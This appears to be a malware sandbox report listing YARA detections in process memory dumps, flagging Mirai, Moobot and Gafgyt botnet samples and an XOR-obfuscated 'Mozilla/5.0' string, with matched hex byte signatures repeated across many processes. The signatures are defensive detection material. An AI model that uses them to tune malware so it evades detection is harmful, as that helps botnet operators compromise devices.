6315.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7260.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7260.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7260.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7260.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7260.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7260.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6420.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7251.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7394.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7394.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7394.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7394.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7394.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7394.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6887.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6705.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6403.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6440.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6254.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6254.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6254.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6254.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6254.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6254.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6845.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6845.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6845.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6845.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6845.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6845.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7171.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6259.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6380.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6519.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6478.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6648.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6849.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6382.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
